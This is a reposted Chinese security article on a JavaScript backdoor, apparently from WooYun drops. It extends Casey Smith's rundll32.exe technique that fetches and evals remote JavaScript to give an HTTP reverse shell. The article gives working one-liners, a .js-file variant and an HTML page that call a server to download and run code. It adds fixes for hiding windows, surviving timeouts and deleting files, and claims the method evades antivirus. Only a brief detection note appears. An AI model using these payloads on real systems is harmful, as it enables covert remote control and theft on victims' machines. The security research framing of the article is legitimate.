<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/11764

    0x00 前言


    Casey Smith最近在Twitter分享了他的研究成果,執行一段JavaScript代碼即可反彈一個Http Shell,很是奇妙,所以就對這個技術做了進一步研究。

    Alt text

    0x01 簡介


    Alt text

    從截圖我們可以看到該技術的使用方法,在cmd下利用rundll32.exe加載JavaScript代碼,代碼運行后會反彈一個Http Shell,而特別的地方在于當運行完cmd命令后,后臺會一直存在進程rundll32.exe用來同Server持續連接,整個過程不需要寫入文件,隱蔽性大大提高。

    0x02 測試環境


    Server:

    #!bash
    OS:Win7 x64
    IP:192.168.174.131
    

    Client:

    #!bash
    OS:Win7 x86
    IP:192.168.174.130
    

    下載鏈接:
    https://gist.github.com/subTee/f1603fa5c15d5f8825c0

    0x03 實際測試


    1、Server啟動服務,監聽端口

    需要將下載腳本中的IP修改為當前主機IP

    管理員運行

    2、Client加載JavaScript指令

    #!bash
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B)
    

    3、Server彈回Shell

    可以執行cmd命令并獲得回顯

    Alt text

    0x04 測試中的Bug


    1、連接超時

    Alt text

    在成功返回shell后,如果在后臺等待一段時間,Clinet就會彈出超時連接的對話框

    Alt text

    從截圖可以看到Casey Smith已經發現了連接超時的問題,所以在新版本已經做了修正,加上window.setTimeout來避免連接超時的錯誤,在message內加了超時判斷(message存儲用于實現Client后續連接的代碼,具體細節一看代碼就明白),但是這樣做還遠遠不夠。

    2、進程殘留

    如果Server退出,Clinet還會存在rundll32.exe進程

    3、執行cmd命令會彈黑框

    如果是立即回顯的cmd命令,黑框一閃而過

    如果是systeminfo這種需要等待的cmd命令,會一直彈出cmd 執行的黑框,等到執行完畢才會退出

    4、執行exe會阻塞

    比如執行calc.exe,server端會阻塞,直到關閉calc.exe進程才會恢復正常

    如圖

    Alt text

    5、無法刪除文件

    如圖

    Alt text

    Alt text

    6、server端無法正常退出

    想退出只能強行關閉當前cmd.exe

    7、無法上傳下載文件

    0x05 優化思路


    1、對setTimeout的解釋

    查詢相關資料如下:
    https://msdn.microsoft.com/en-us/library/windows/desktop/aa384061(v=vs.85).aspx

    文中提到了JavaScript實現WinHttpRequest的用法,如圖

    Alt text

    setTimeout用來設置http的超時時間,如果全為0,代表no time-out,也就是無限期

    注:
    在Casey Smith發布的第一個版本尚未修復該方法的時候,我解決該方法的思路是參照微軟的方法,對應到代碼中就是添加
    h.SetTimeouts(0, 0, 0, 0);即可

    2、增加try catch方法處理錯誤消息

    Casey Smith在代碼中雖然加入了超時判斷,但沒有對其他可能產生的意外錯誤做判斷,所以需要添加try catch對錯誤消息進行響應。

    try catch不僅能夠解決上述問題中的Bug1,同樣能用來判斷輸入的命令能否成功執行(比如輸錯命令或輸錯路徑)

    (相關細節可參照結尾提供的參考代碼)

    查詢相關資料如下:
    http://blog.csdn.net/qdfeitian/article/details/6371146

    3、使用taskkill解決進程殘留的問題

    Clinet可以使用taskkill來結束自身進程,自動退出

    #!js
    new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe")
    

    4、WScript.Shell對象run和exec的區別

    參考資料:

    為了獲得cmd命令的回顯,Casey Smith采用的方法是使用exec方法,因為只有exec方法的返回值是一個對象,才可以獲得控制臺輸出信息和控制臺錯誤信息

    而run方法的返回值是一個整數,就是0或1成功和失敗兩個狀態

    但是使用exec方法也有一些弊端,比如測試中的bug3和bug4,這是exec方法本身所無法解決的問題。

    而如果使用run方法可以解決bug4

    綜上,解決思路是對輸入的內容做判斷,如果是cmd命令,使用exec方法;如果是執行exe,使用run方法

    5、解決使用run方法執行命令會彈黑框的問題

    參考資料:
    https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx

    如圖

    Alt text

    run方法其實后面還可以加參數指示該窗口能否被看見

    所以在執行比如taskkill的命令就可以使用

    #!js
    new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true)
    

    避免彈出黑框

    注:
    intWindowStyle參數的說明中提到“Note that not all programs make use of this information.”
    例子之一就是用run方法來執行systeminfo這種需要等待的cmd命令是無法隱藏窗口的

    6、如何隱蔽執行systeminfo并獲取回顯

    參考了如下資料:
    WooYun: 搜狗瀏覽器遠程命令執行之五 "> WooYun: 搜狗瀏覽器遠程命令執行之五

    如果使用exec方法,雖然可以獲取到回顯,但是利用window.moveTo(-1000,-1000)無法移動彈出的黑框

    而使用run方法雖然可以移動彈出的黑框,但是無法獲得回顯

    綜合這兩種方法,最后我們只能退而求其次,使用run方法將執行命令回顯的結果輸出到文件中,然后再通過讀取文件來獲取結果

    具體實現如下:

    (1)使用run方法將systeminfo回顯的結果輸出到文件中c\test\a.txt

    示例代碼:

    #!js
    new ActiveXObject("WScript.Shell").Run("cmd /c systeminfo >>c\test\a.txt",0,true)
    

    (2)讀取文件并回傳

    示例代碼:

    #!js
    fso1=new ActiveXObject("Scripting.FileSystemObject");
    f=fso1.OpenTextFile(d,1);
    g=f.ReadAll();
    f.Close();
    

    通過調用new ActiveXObject("Scripting.FileSystemObject")讀取回顯內容,然后再回傳信息

    (相關細節可參照結尾提供的參考代碼)

    7、解決連接超時的問題

    通過以上的分析,如果要解決連接超時的問題,需要對Clinet執行的命令添加如下功能:

    1. 捕獲錯誤消息
    2. 進程自動退出
    3. 全過程不彈黑框

    所以Clinet執行的命令最終優化為:

    #!bash
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
    

    8、解決server端無法正常退出

    加入exit命令判斷,如果輸入exit,那么Client調用taskkill結束自身,Server同樣執行exit退出

    (相關細節可參照結尾提供的參考代碼)

    9、解決刪除文件的問題

    通過調用new ActiveXObject("Scripting.FileSystemObject")實現

    示例代碼:

    #!js
    fso1=new ActiveXObject("Scripting.FileSystemObject");
    f =fso1.GetFile(d);
    f.Delete();
    

    (相關細節可參照結尾提供的參考代碼)

    10、解決文件上傳下載

    示例如圖:

    Alt text

    示例代碼可以實現簡單的文件上傳下載,但里面存在一個小bug,如果你投入精力,不難解決

    0x06 補充


    1、白名單進程,免疫殺毒軟件

    由于是通過rundll.exe調用的代碼,所以殺毒軟件會放行,不會攔截

    2、檢測

    通信協議使用HTTP,通過防火墻攔截流量即可發現其中的攻擊行為

    3、更多加載方式

    (1)js文件

    可以放在js文件里面 雙擊js文件執行

    #!js
    h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    h.Open("GET","http://192.168.174.131/connect",false);
    try{
    h.Send();
    B=h.ResponseText;
    eval(B);
    }
    catch(e)
    {
    new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im wscript.exe",0,true);
    }
    

    后臺進程為wscript.exe

    (2)嘗試掛在網頁里面

    #!html
    <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
    <html>
    <head>
     <title> new document </title>
     <meta name="generator" content="editplus">
     <meta name="author" content="">
     <meta name="keywords" content="">
     <meta name="description" content="">
     <script language="javascript" type="text/javascript">
    h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    h.Open("GET","http://192.168.174.131/connect",false);
    h.Send();
    B=h.ResponseText;
    eval(B);
    </script>
    </head>
    <body>
    </body>
    </html>
    

    使用ie打開會提示是否加載控件,如果允許,即可彈回shell

    Chrome、Firefox不支持ActiveXObject,所以不會觸發

    0x07 小結


    我在Casey Smith的基礎上,對其代碼做了進一步優化,對JavaScript Backdoor技術做了進一步研究,感謝他的無私分享,才有了我的這篇文章。

    我開發的代碼已上傳到github,下載鏈接:
    https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

    歡迎下載測試,交流學習。

    支持的功能如圖

    Alt text

    注:
    本文僅用來學習交流JavaScript Backdoor技術,并提供了檢測方法
    同時在文件上傳下載的功能上留下了bug,距實際使用還有一點距離,以避免該方法被濫用。

    本文由三好學生原創并首發于烏云drops,轉載請注明

    97av